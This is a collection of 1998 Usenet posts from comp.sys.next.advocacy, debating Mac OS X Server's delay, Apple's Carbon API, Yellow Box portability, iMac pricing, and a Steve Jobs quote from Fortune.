Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 13 Oct 1998 04:10:38 GMT
Organization: Eskimo North (206) For-Ever
Message-ID: <6vujru$u52$1@eskinews.eskimo.com>
References: <6vgre6$53c$1@nnrp1.dejanews.com> <B2423F67-33DA2@206.165.43.59> <ch3-1110981158040001@ip113.seattle11.wa.pub-ip.psi.net>
What is the Next Big Thing? NeXt? Or however it is called? Next? Get it?
pat-
In article <ch3-1110981158040001@ip113.seattle11.wa.pub-ip.psi.net>,
CaHand <ch3@earthlink.net> wrote:
>In article <B2423F67-33DA2@206.165.43.59>, "Lawson English"
><english@primenet.com> wrote:
>>
>> >My pleasure, hypocrite. Try message-id <
>> >361A9F92.1D9F3A3@ericsson.com>,
>> >where, among other statements you attributed to Steve Jobs was:
>> >
>> >Jobs: "Milk the MacOS for all it's worth and move on."
>>
>>
>>
>> Actually, the quote is supposed to be
>>
>> "Milk the current MacOS customer base for all THEY are worth while working
>> on bringing out the Next Big Thing."
>>
>
>The quote from Fortune Magazine(1996, November issue I believe):
>
>"If I were running Apple, I would milk the Macintosh for
>all it's worth, and get busy on the next big thing."
>
> -----Steven P. Jobs
>
>Best Regards.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 11 Oct 1998 14:06:40 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6vqe1g$hfh$1@sun27.hrz.tu-darmstadt.de>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com>
sal@panix.com (Sal Denaro) wrote:
>On Fri, 09 Oct 1998 16:16:37 GMT, Charles Swiger <chuck@codefab.com> wrote:
>>The best guess I've heard is to not conflict with the MacOS 8.5 release, but
>>it could be from problems finishing the feature set, nailing down a final set
>>of bugs, or whatever else, too.
>
>I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
>to ship with it. This statement was made by a WO guy at Apple I know.
WO 4.0 is a major release, with tons of new features. AppLE better
make sure that it runs well on OSXS. Well, I can live with waiting
two or three more weeks. I just hope OSXS runs on my shiney new G3
PowerBook :-)
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
References: <361DF901.898@issl.atl.hp.com> <19981009114723.02705.00005481@ng82.aol.com>
From: sdroll@NOSPMmathematik.uni-wuerzburg.de (Sven Droll)
Message-ID: <3621c05a.0@uni-wuerzburg.de>
Date: 12 Oct 98 08:39:54 GMT
willadams@aol.com (WillAdams) wrote:
>
>"Joseph K. Vossen" <jkv@issl.atl.hp.com> asked:
>>are the NeXTSTEP level editors available for public consumption?
>
>I just saw the source code for this available on Peanuts (game/action) as I
>recall. There's a note there from Carmack, I think it was, detailing it.
On peanuts is QuakeEd. It would be cool, to have the original id DoomEd
publically available.
Sven
--
Sven Droll __
______________________________________________________/ / ______ __
sdroll@mathematik.uni-wuerzburg.de / /_/ ___/
please remove the NOSPM from my reply-address /_ _/ _/
=====\_/=======
LOGOUT FASCISM!
___________________________________________________________________
NeXT-mail or MIME welcome ;-)
Newsgroups: comp.sys.next.advocacy
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Date: Mon, 12 Oct 1998 10:48:58 +0000
Sender: steep@xfbtklvk.fun
From: andrew@erlenstar.demon.co.uk
Organization: Annihilator v0.3
Spam (EMP) cancelled - type=NAPRO
From: Michael Rousseau <Michael.Rousseau@Sun.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Sat, 10 Oct 1998 23:40:19 -0600
Organization: Sun Microsystems
Message-ID: <362044C3.B9780A6C@Sun.COM>
References: <361D0EB8.4104@earthlink.net> <edewF0Kr58.1B7@netcom.com> <361E7257.CD28F5BB@cygnus.com> <6vn9mk$jr0@gazette.bcm.tmc.edu>
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Rick Gray wrote:
>
>(I still have one of those square badges from Sun saying "The network
>IS the computer").
Sitting here in a Sun office in front of my dual-21" multiheaded Ultra,
I'm looking at a big sign that says the same thing. And another one
down the hall says "Any computer. Any time. Anywhere on the planet.
Just work." I like that concept. I've spent the last 12 years fighting
the good fight against MS and inelegant butt-ugly solutions crash-prone
single-user solutions.
My last job had to do with OpenStep/Solaris adminning in a large
financial firm. Now I get the buzz from Sparc/Linux with AfterStep &
WindowMaker. Glad I still have 4.2 CDs to preserve for future
generations that wonder what it was like when we had NS/OS.
> I really love the Turbo color slab I have at home, but the iMac has
> made it feel a little slow in comparison though. Fast Microsoft-
> running PCs only make me cuss faster and more often and be happy to
> move to even a slow Cube.
I still use my Cube at home with a 2GB disk and 64MB RAM as my NFS
server, xntp server, NetInfo master, fetchmail/mailserver, and NeXTMail
reader. I prefer it to a PII 333 running NT in every way. Plus, it's
magnesium!
Mike Rousseau
I speak for no one, especially not my employer, nor any White House
interns. All facts expressed should be considered pure fantasy and
should be completely disregarded by anyone who wants to make my life
miserable.
Newsgroups: comp.sys.next.advocacy
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Date: Mon, 12 Oct 1998 10:48:58 +0000
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From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: Mon, 12 Oct 1998 23:49:32 +0100
Organization: EarthLink Network, Inc.
Message-ID: <36228773.2318@earthlink.net>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com>
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Alex Kac wrote:
> Sorry, the NeXT File Viewer was a pain in the a**, except for the really
> great browser view.
You don't have to be sorry. The browser view is what I was talking
about!
> I used the NeXT 3.3 OS and even there, I went to the
> command line for some of my file management. Why can't I have two darned
> windows easily open so I can drag tween them? Why must I have to create a
> new viewer and then navigate again there? It was a waste of time and brain
> power. I don't want file management to be something I have to really think
> about.
It's still better than having a zillion little windows open at once
IMHO. I couldn't live without Greg's Browser on my Mac.
> The fileviewer was just too thought intensive to work well. (When I'm working on a
> project, having to stop what I'm thinking about and then start thinking about how to use > the FileViewer really disrupts productivity).
I think your nuts!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Mon, 12 Oct 1998 23:52:25 +0100
Organization: EarthLink Network, Inc.
Message-ID: <36228820.434A@earthlink.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com>
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Sal Denaro wrote:
> I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
> to ship with it. This statement was made by a WO guy at Apple I know.
Any idea how much is OS X Server gonna cost Sal?
Steve
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Sun, 11 Oct 1998 11:58:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-1110981158040001@ip113.seattle11.wa.pub-ip.psi.net>
References: <6vgre6$53c$1@nnrp1.dejanews.com> <B2423F67-33DA2@206.165.43.59>
In article <B2423F67-33DA2@206.165.43.59>, "Lawson English"
<english@primenet.com> wrote:
>
> >My pleasure, hypocrite. Try message-id <
> >361A9F92.1D9F3A3@ericsson.com>,
> >where, among other statements you attributed to Steve Jobs was:
> >
> >Jobs: "Milk the MacOS for all it's worth and move on."
>
>
>
> Actually, the quote is supposed to be
>
> "Milk the current MacOS customer base for all THEY are worth while working
> on bringing out the Next Big Thing."
>
The quote from Fortune Magazine(1996, November issue I believe):
"If I were running Apple, I would milk the Macintosh for
all it's worth, and get busy on the next big thing."
-----Steven P. Jobs
Best Regards.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
References: <6vgre6$53c$1@nnrp1.dejanews.com> <B2423F67-33DA2@206.165.43.59> <ch3-1110981158040001@ip113.seattle11.wa.pub-ip.psi.net>
Message-ID: <362108ec.0@news.depaul.edu>
Date: 11 Oct 98 19:37:16 GMT
In comp.sys.next.advocacy CaHand <ch3@earthlink.net> wrote:
> In article <B2423F67-33DA2@206.165.43.59>, "Lawson English"
> <english@primenet.com> wrote:
> >
> > >My pleasure, hypocrite. Try message-id <
> > >361A9F92.1D9F3A3@ericsson.com>,
> > >where, among other statements you attributed to Steve Jobs was:
> > >
> > >Jobs: "Milk the MacOS for all it's worth and move on."
> >
> >
> >
> > Actually, the quote is supposed to be
> >
> > "Milk the current MacOS customer base for all THEY are worth while working
> > on bringing out the Next Big Thing."
> >
> The quote from Fortune Magazine(1996, November issue I believe):
> "If I were running Apple, I would milk the Macintosh for
> all it's worth, and get busy on the next big thing."
> -----Steven P. Jobs
At the time, Apple was miling the Mac for all it's worth, but
not working on the next big thing.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: XoX for MacOS X :-)
Date: 13 Oct 1998 11:20:05 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6vvd15$m5t$1@sun27.hrz.tu-darmstadt.de>
References: <01bdf5f5$0d2b0e00$06387880@chewy>
"Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
>Now I really want MacOS X Server... The XoX family will be available for it
>:-)
See? I even bought a new machine when I heard the good news. :-)
>http://www.stepwise.com/StepwiseReport/October11_1998.html
>http://www.ensuing.com/freebies/xox/
Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: balazs.pataki@sztaki.hu (Balazs Pataki)
Newsgroups: comp.sys.next.advocacy
Subject: Future Apple technologies
Date: 13 Oct 1998 11:36:33 GMT
Organization: Computer and Automation Institute
Message-ID: <6vve01$lcg@lutra.sztaki.hu>
Hi,
I've found the following little article:
====
11:08a
Apple developing interactive screens, new search engine
Apple Computer Inc. is developing interactive computer screens, a search
engine that responds to descriptions instead of keywords and tools that
encourage conversation over the Internet, the Australian Financial
Review is reporting. Apple scientist Dr. Kristina Woolsey told the Review
that while the tools were almost ready for the market, she didn't believe
the general public was quite ready for the tools. --
Joel Deane, ZDNN
====
Unfortunately I'm not a regular reader of the Australian Financial Review,
but I would be interested if any of you know what these things may mean:
- interactive computer screens
- search engine that responds to descriptions instead of keywords
Any rumors or ideas?
And aren't we really ready for tools like these?
---
balazs
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 11 Oct 1998 20:39:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vr51v$fo2@newsb.netnews.att.com>
References: <6vgre6$53c$1@nnrp1.dejanews.com> <B2423F67-33DA2@206.165.43.59> <ch3-1110981158040001@ip113.seattle11.wa.pub-ip.psi.net>
Originator: gupta@tlctest
CaHand <ch3@earthlink.net> wrote:
>
>The quote from Fortune Magazine(1996, November issue I believe):
>
>"If I were running Apple, I would milk the Macintosh for
>all it's worth, and get busy on the next big thing."
>
> -----Steven P. Jobs
Thanks ! That helped me find the quote. However, the
full context of the quote is missing from the Fortune article, IMO.
-arun gupta
Paradise lost: Apple's quest for life after death.
(Company Business and Marketing)(Cover Story)
Fortune, Feb 19, 1996 v133 n3 p64(8)
Author Schlender, Brent
Quote
What does Steve Jobs say about the plight of the company he started
and the strategy of the man who wrote its first business plan, put
up the first cash, and ultimately cast him out? Not much: "To me
it's simple,'' he says. "If I were running Apple, I would milk the
Macintosh for all it's worth--and get busy on the next great thing.
The PC wars are over. Done. Microsoft won a long time ago."
Self-absorption was par for the course. Recalls Steve Jobs: "It's
amazing how different reality looks when you are inside Apple."
"If Microsoft dominates the computer business the way Bill would
like to, our industry would suck."
-arun gupta
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 11 Oct 1998 20:56:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vr62a$rtb@news1.panix.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net>
On Sat, 10 Oct 1998 20:18:34 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> In article <347CF646.35A9@convex.hp.com>:
>> >I would develop a porting tool that worked *both ways*. In fact, the
>> >optimal solution would be to provide an abstract framework that could be
>> >loosely built into new versions of both MacOS and Rhapsody. To smooth
>> >the boundaries a bit.
>I wouldn't have thought it needed pointing out that Carbon is not an
>"abstract framework...
----^^^^^^^^^^^^^^^^^
How is an API not an "abstract framework"?
>loosely built into new versions of both MacOS and
>Rhapsody"...
Carbon is built into new versions of both MacOS and Rhapsody (AKA MacOSX).
Ponder this:
1) Carbon is an API
2) Apps writen to the Carbon API will run on both MacOS and on MacOSX
(which is based on Rhapsody)
3) Carbon is a two-way tool, Apps can be built on either MacOS or OSX and
deployed to either.
4) The prime reason for Carbon was to provide existing MacOS ISVs a way
to protect their investments in MacOS code.
That sounds a lot like what you suggested back in 12/97. I am surprised
that you aren't gloating about how Apple is now listening to your sage
like advice.
BTW, I have it on pretty good authority that work on Carbon was started
just before Gil came to Apple; and he tried to kill it twice. During
the last days of "PowerOpen" (PO was to be a PowerPC Unix ABI standard
that AIX, Solaris and Groupe Bull's PPC Unix platforms were all to meet)
a group of people working on MAE for PowerOpen proposed a Carbon-like
system to help ISVs port Mac Apps to PowerOpen Unix. Apple would then
sell a license to the runtime libs to each Unix vendor, that would be
equal to the MacOS license fee that (then) current MacOS licensees were
paying. Gil tried to kill it, reasoning that it might interfere with
MacOS development. I think he had to actually kill the whole MAE project
to get work on it to stop.
This project came up again while Apple was looking at BeOS to replace
Copland.
Gil could have had Carbon on Solaris and AIX on the PowerPC (and maybe
MkLinux as well) if he wanted. You would probably be able to buy it
today.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Date: 11 Oct 1998 20:56:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vr62c$rtb@news1.panix.com>
References: <edewF0KtpJ.866@netcom.com> <6vopcc$1p8@news1.panix.com> <edewF0Myu5.D8B@netcom.com>
On Sun, 11 Oct 1998 00:03:41 GMT, Eric Dew <edew@netcom.com> wrote:
>Sal, again, if Apple drops prices, the only thing peope will see is that
> * Oops, they paid too much the first time at $1299
Sorry, I don't follow this at all. Prices of consumer electronics drop all
the time. My first CD player cost me over ~$300. Now that I can buy them for
less than that, I don't feel in any way cheated.
By the time that Apple discontinued the SE/30, this price was less than _half_
of what it was introed at. Even as someone who drove a '79 Volare for two
years just so I could afford the SE/30, I didn't feel cheated.
> * The iMac is really worth $700, or less
They might think that anyway. "Worth" is speculative. Shiney new products
are "worth" more than stuff that has been around a while. Keep it for 50
years and then it is worth more than what it was new.
The speculative "worth" of the iMac will drop in time.
> * The iMac isn't any different than any other machine (regardless of
> whether that's the case or not)
Let me let you in on a secret. The iMac is just a computer.
>Apple must stick to its guns and keep the price point. Secondly, they should
>redouble marketing efforts to distinguish the iMac as *THE* internet-ready
>machine and that all other "i-"machines are just chintzy knock-offs.
Apple tried this for about a decade and it didn't work.
>If Apple needs to compete in the low price arena -- and I have yet to see
>a compelling reason to do so -- it should create a iMac-lite instead of
>dropping the price on the original iMac.
Why not create an iMac+ at $1299, and then drop the price of the current
iMac to $999? The costs of building the iMac have (undoubtedly) dropped.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: The OS/2 Plan vs the Win95 plan.
Date: 11 Oct 1998 20:56:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vr62b$rtb@news1.panix.com>
References: <36099217.345010578@news.newsguy.com> <361ABD55.870F151B@nstar.net> <rbarrisF0G1Fr.JJI@netcom.com> <6vopc9$1p8@news1.panix.com> <6vqh3o$bir@papoose.quick.com>
On 11 Oct 1998 10:59:04 -0400, James E. Quick <jq@papoose.quick.com> wrote:
>In article <6vopc9$1p8@news1.panix.com>, Sal Denaro <sal@panix.com> wrote:
>>The Steve plan (with carbon) is like the transition between win3.1 and
>>win32. ISVs put in a little work, and they get modern OS functionality.
>Good point, bad analogy. It rests on the false presumption that
>win32 contains modern OS functionality.
Win32 is an API specification. WinNT is an implementation of that
specification. While the implementation may be spotty, the modern OS
functionalitay _is_ present in NT.
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Tue, 13 Oct 1998 11:09:33 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <6vvqfl$qfl@shelob.afs.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net>
Steve Kellener wrote in message <36228820.434A@earthlink.net>...
>Any idea how much is OS X Server gonna cost Sal?
No. Nobody knows. Well, maybe a few people inside Apple. But they don't seem
inclined to share the information as of yet. Hard to understand why it's
such a big secret.
Greg
Message-ID: <3621289A.25C6A4F9@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com>
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NNTP-Posting-Date: Sun, 11 Oct 1998 17:53:15 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 11 Oct 1998 16:52:26 -0500
Sal Denaro wrote:
> >I wouldn't have thought it needed pointing out that Carbon is not an
> >"abstract framework...
> ----^^^^^^^^^^^^^^^^^
>
> How is an API not an "abstract framework"?
Why should I answer this? How is an elephant not a cow? It just isn't.
Better would be for you to explain what makes Carbon an "abstract
framework".
> Carbon is built into new versions of both MacOS and Rhapsody (AKA MacOSX).
>
> Ponder this:
>
> 1) Carbon is an API
> 2) Apps writen to the Carbon API will run on both MacOS and on MacOSX
> (which is based on Rhapsody)
The intent of the "abstract framework", in the context of my original
comments, would have been to build something that could eventually
generate Toolbox code on the MacOS and Yellow Box code on Rhapsody and
successors.
> 3) Carbon is a two-way tool, Apps can be built on either MacOS or OSX and
> deployed to either.
> 4) The prime reason for Carbon was to provide existing MacOS ISVs a way
> to protect their investments in MacOS code.
So?
> That sounds a lot like what you suggested back in 12/97. I am surprised
> that you aren't gloating about how Apple is now listening to your sage
> like advice.
Speak for yourself. Anyeway, I know what I said and what I meant. Carbon
does not solve the cross-platform solution; all that Apple has done with
Carbon on MacOS X is to build a better Blue Box. Effectively, you could
be saying that the original Toolbox was an "abstract framework", since
you could build and run original Toolbox applications on either MacOS or
Rhapsody + Blue Box.
It removes the reason for building Rhapsody/MacOS X in the first place,
and renders the money and effort Apple has spent so far almost
fruitless. Instead of buying NeXT, Apple may as well have put together a
BSD distribution, dreamed up this Carbon idea, and built it upon the BSD
base.
Or it could have released a Blue Box for one or more Unices, like Linux,
and just made it popular for foreign users to run MacOS apps on their
boxes. What's more, such a solution would have encouraged users to buy
Apple hardware because the Blue Box would only run on PPC-based Linux.
It doesn't matter what they would have done; it would have been better
than spending hundreds of millions of dollars on YB, promoting YB,
pushing back its OS plans, weaving a new and winding "roadmap", and
after all was said and done, pushing YB off to the side.
It probably wouldn't have been better than sticking to the original
Rhapsody plan, which threatened to undo the market with its coolness.
> BTW, I have it on pretty good authority that work on Carbon was started
> just before Gil came to Apple; and he tried to kill it twice. During
> the last days of "PowerOpen" (PO was to be a PowerPC Unix ABI standard
> that AIX, Solaris and Groupe Bull's PPC Unix platforms were all to meet)
> a group of people working on MAE for PowerOpen proposed a Carbon-like
> system to help ISVs port Mac Apps to PowerOpen Unix. Apple would then
> sell a license to the runtime libs to each Unix vendor, that would be
> equal to the MacOS license fee that (then) current MacOS licensees were
> paying. Gil tried to kill it, reasoning that it might interfere with
> MacOS development. I think he had to actually kill the whole MAE project
> to get work on it to stop.
That would be too bad. MAE was a marginal product that nevertheless had
promise and could have been thoroughly useful given the right
development effort and backing. Regardless, since I don't know whether
the above is remotely true or no, I can't really shed any tears.
> This project came up again while Apple was looking at BeOS to replace
> Copland.
>
> Gil could have had Carbon on Solaris and AIX on the PowerPC (and maybe
> MkLinux as well) if he wanted. You would probably be able to buy it
> today.
Perhaps. That would have been a different strategy than the one he
proclaimed when he authorized the NeXT purchase, so I'm not sure what
you're saying. As far as I can tell, Gil wanted to compete with Unix in
the desktop workstation market while making Windows invisible. What
you're talking about would be pretty much the opposite: compete with
Windows (since MAE would almost certainly never run on Windows) and make
the vendors' Unices invisible. That doesn't really make any sense.
What's more, MAE-hosted apps would run in emulation; Gil planned a
strategy that would have enabled app-creation in a cross-platform way
with native speed, using an application framework that could be easily
ported to emerging platforms (hmmm, Linux). Just about the only
mainstream Unices that could achieve native MAE performance were Tenon's
MachTen (which ran on MacOS, anyway), LinuxPPC (which was underdeveloped
at the time), and some variants of BSD (also underdeveloped). In
addition, hardware drivers would have been problematic, and because of
the slow forward pace of MacOS, MacOS users generally relied upon a slew
of interface and productivity enhancements that probably would not have
run under MAE.
Then again, the whole thing would have made quite a bit more sense had
there been emerging availability of Mac-based version of mainstream
Unices, like Solaris/PPC and AIX. Unfortunately, Jobs killed the PPCP
phenomenon and this scenario became impossible.
Again, this would have been too bad. The strategy you describe could
have opened up markets for Apple hardware running Unix running MAE
running Mac apps. Given a solid licensing strategy for MAE, properly
pitched to the right people at Sun, IBM, and even HP, those vendors
might have been willing to back the strategy and make Macintosh the
cross-platform desktop software platform of the turn of the century.
I'm sure this would have opened up opportunities for both Tenon and
ARDI, which could have leveraged existing expertise in Unix/MacOS
integration and MacOS application emulation (respectively) to open the
strategy to an even wider audience of both users and apps. In time the
partnerships between Apple and Unix vendors could have spawned untold
numbers of great benefits, ranging from integration of MacOS into vendor
Unix environments to adoption of a Java alliance that could effectively
combat Windows.
Oh well, we don't know if it ever happened, anyway. MAE was languishing
with minimal support from Apple management long before Gil stepped in.
It had long been written-off by most segments of the Unix industry as an
interesting but mostly useless tool.
MJP
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Date: 11 Oct 1998 23:15:04 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf56b$30248f10$06387880@chewy>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com> <361F8E3E.846E629B@yahoo.com> <joe.ragosta-1010981735370001@elk68.dol.net> <361FE21E.C14A5DFC@yahoo.com> <joe.ragosta-1110980850250001@elk66.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote
> Robert Fovell <rfovell@yahoo.com> wrote:
> > If MOSXS can - by and large - bring Mac ease of use,
> > integration and elegance to Unix raw power -- that is
> > worth one *heck* of a lot.
>
> It does.
It does and it doesn't. MacOS X native apps [1] will inherit the benefits
of an industrial strength UNIX kernel. MacOS X apps running in the BlueBox
will inherit a modest improvement - namely, crashing an app in the BlueBox
may bring down other apps in the BlueBox, but it will not take down the
entire OS.
For those of us who want to run UNIX apps as well as MacOS apps (either in
BlueBox, Carbonated, or YB), we really win :-) Obviously we hope to have
most/all of the MacOS apps we use to be full native apps (Carbonated or
YB).
[1] I call "MacOS X native app" an application that runs in its own process
space, fully memory protected from other applications, and fully
preemptive. These apps may or may not support the MacOS look-and-feel.
These include UNIX processes (CLI apps, daemons, etc), YB apps, and
Carbonated apps. (I'm not sure how to class a Java app, but I think it
would also be a "MacOS X native app").
This leads to a request. Can we settle on a complete set of definitions
for the MacOS X debate?
Thanks,
Todd
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Tue, 13 Oct 1998 16:01:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vvth2$tak$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <FIiROLCWddLd-pn2-5u2rtNtXh7MV@localhost> <6vou3e$gmb$1@supernews.com>
In article <6vou3e$gmb$1@supernews.com>,
mcgredo@otter.mbay.net (Donald R. McGregor) wrote:
> In article <FIiROLCWddLd-pn2-5u2rtNtXh7MV@localhost>,
> taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> One move to help keep YB viable would IMHO be adopting Linux as a
>> strategic YB platform.
>
> I'd like to see YB on Linux, too. But it wouldn't be a panacea.
>
> There would be a lot of work to get YB running on top of Linux.
A fair amount, yes...although it'd be far more doable than YB on NT, since
Linux provides a much closer baseline functionality to Mach than NT does.
> And all you'd really be getting is the Apple L&F running on top
> of an operating system that more or less does everything as well
> as Mach.
Which L&F? YB has three right now (cf. NSInterfaceStyle).
Secondly, you'd get things like EOF, WOF, DO/PDO, Foundation, not just a GUI
layer.
> (I'm asuming the apple port would implement the Rhapsody
> imaging model, workspace, and L&F, just running over Linux instead
> of Mach. Though it would also be possible to do a Sun-style port
> that used X-Windows, I don't see Apple going there.)
Probably not, although there might be some interesting consequences if YB
could be made portable enough in its requirements to only need a generic X11
& POSIX.1 environment as a prerequisite.
> The version of Linux used would have to be under
> Apple control; you couldn't just drop in a new version and expect
> things to work. That means you have to keep some scurrying forest
> creatures around to manage the OS code in any event.
The closest thing to OS-level stuff in YB is the requirements for Mach
messaging support. They've got a fairly portable version of that around
already, based off of (apparently) generic BSD socket code.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Mon, 12 Oct 1998 00:20:31 -0700
Message-ID: <see-below-1210980020310001@dynamic54.pm04.mv.best.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com> <6vkibb$4l4$1@supernews.com> <see-below-0910982215180001@dynamic30.pm02.mv.best.com> <6vs6hi$57a$1@solaris.cc.vt.edu>
In article <6vs6hi$57a$1@solaris.cc.vt.edu>, "Aaron Tunnell" <ork@p3.net> wrote:
> Dohnut wrote in message ...
>
> Carmack did a .plan update a few months past talking about programming and
> saying that Nextstep was and still is his favorite environment for
> programming... I was looking for a achieve of older .plan updates but
> couldn't find it, if anyone has it please post it or email it to me, thanks
Yes, he likes it, but id hasn't _used_ it for development since working on
Quake, which shipped over 2 years ago.
You can see various plan updates at http://finger.planetquake.com/
Their archives go back to April 1997
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: Michael Rousseau <Michael.Rousseau@Sun.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Date: Tue, 13 Oct 1998 02:13:00 -0600
Organization: Sun Microsystems
Message-ID: <36230B8C.E7B8B14D@Sun.COM>
References: <6vr62c$rtb@news1.panix.com> <edewF0q6F8.Mq7@netcom.com> <forrestDELETE-THIS!-1210981335180001@term1-16.vta.west.net> <edewF0qn8w.E0F@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Boy, I am loathe to get involved in such a lame conversation, but
something compels me.
<SOAPBOX>
I certainly can tell the difference between my glacier water in Boulder,
CO and bottled water from any source. Processing and filtration are
value adding manufacturing. Similarly, quality is evident in teh
manufacturing world, aside from marketing.
I am baffled that this topic would be bandied about here. HERE, folks!
Do none of us remember black hardware? Microsoft has proven to be a
more efficient marketer than NeXT ever was (sorry to bring that up, but
isn't it really true?). Yet, who who has ever gotten a view inside a
Cube or slab, or worked on NS, would ever say that the better marketed
product is also the _better_product_?
Just out of curiosity, would you stick to this "tap water = bottled
water - marketing" view in rural Mexico (please no flames, this was not
inteded as a slur) or other country with known parasitic infestation in
the water tables? "Well, I could get giardia, or I could succumb to
expensive marketed water in a bottle. Think I'll take my chances..."
In my experience, quality does warrant price (not _always_ but
generally within limits of common sense). A Volvo is empirically safer
and better handling than a Skoda or Yugo. My Cube and Sparcs are
running 9 years after they were made. I've purchased $5K Intel boxen
which toasted boards and power supplies three months after purchase.
Where's the quality there?
</SOAPBOX>
Mike
Eric Dew wrote:
>
> >> >
> >> >Let me let you in on a secret. The iMac is just a computer.
> >> >
> >> You really don't understand marketing do you? Why is it that people are
> >> willing to pay $2 for a bottle of Evian when they won't drink the water from
> >> their tap? It's marketing. Let me tell you a little secret: Evian is
> >> water.
> >
> >I dislike this analogy. Actually, it's a good analogy, but neither of you
> >understand. Evian is water. The iMac is a computer. But tap water tastes
> >like shit compared to good bottled water, and Joe's Generic PC sucks
> >compared to a nice, simple, elegant iMac. (On a side note, neither of the
> >two superior products mentioned here fit my tastes- I prefer Crystal
> >Geyser to Evian, and a G3 Desktop to an iMac, but Evian and the iMac are
> >still great products, just for different tastes).
> >
> People's perceptions are easily swayed by a nifty marketing. I'll bet
> that I can give you plain tap water (from Menlo Park, CA) and Evian and
> several others and you can't distinguish which is your "favorite."
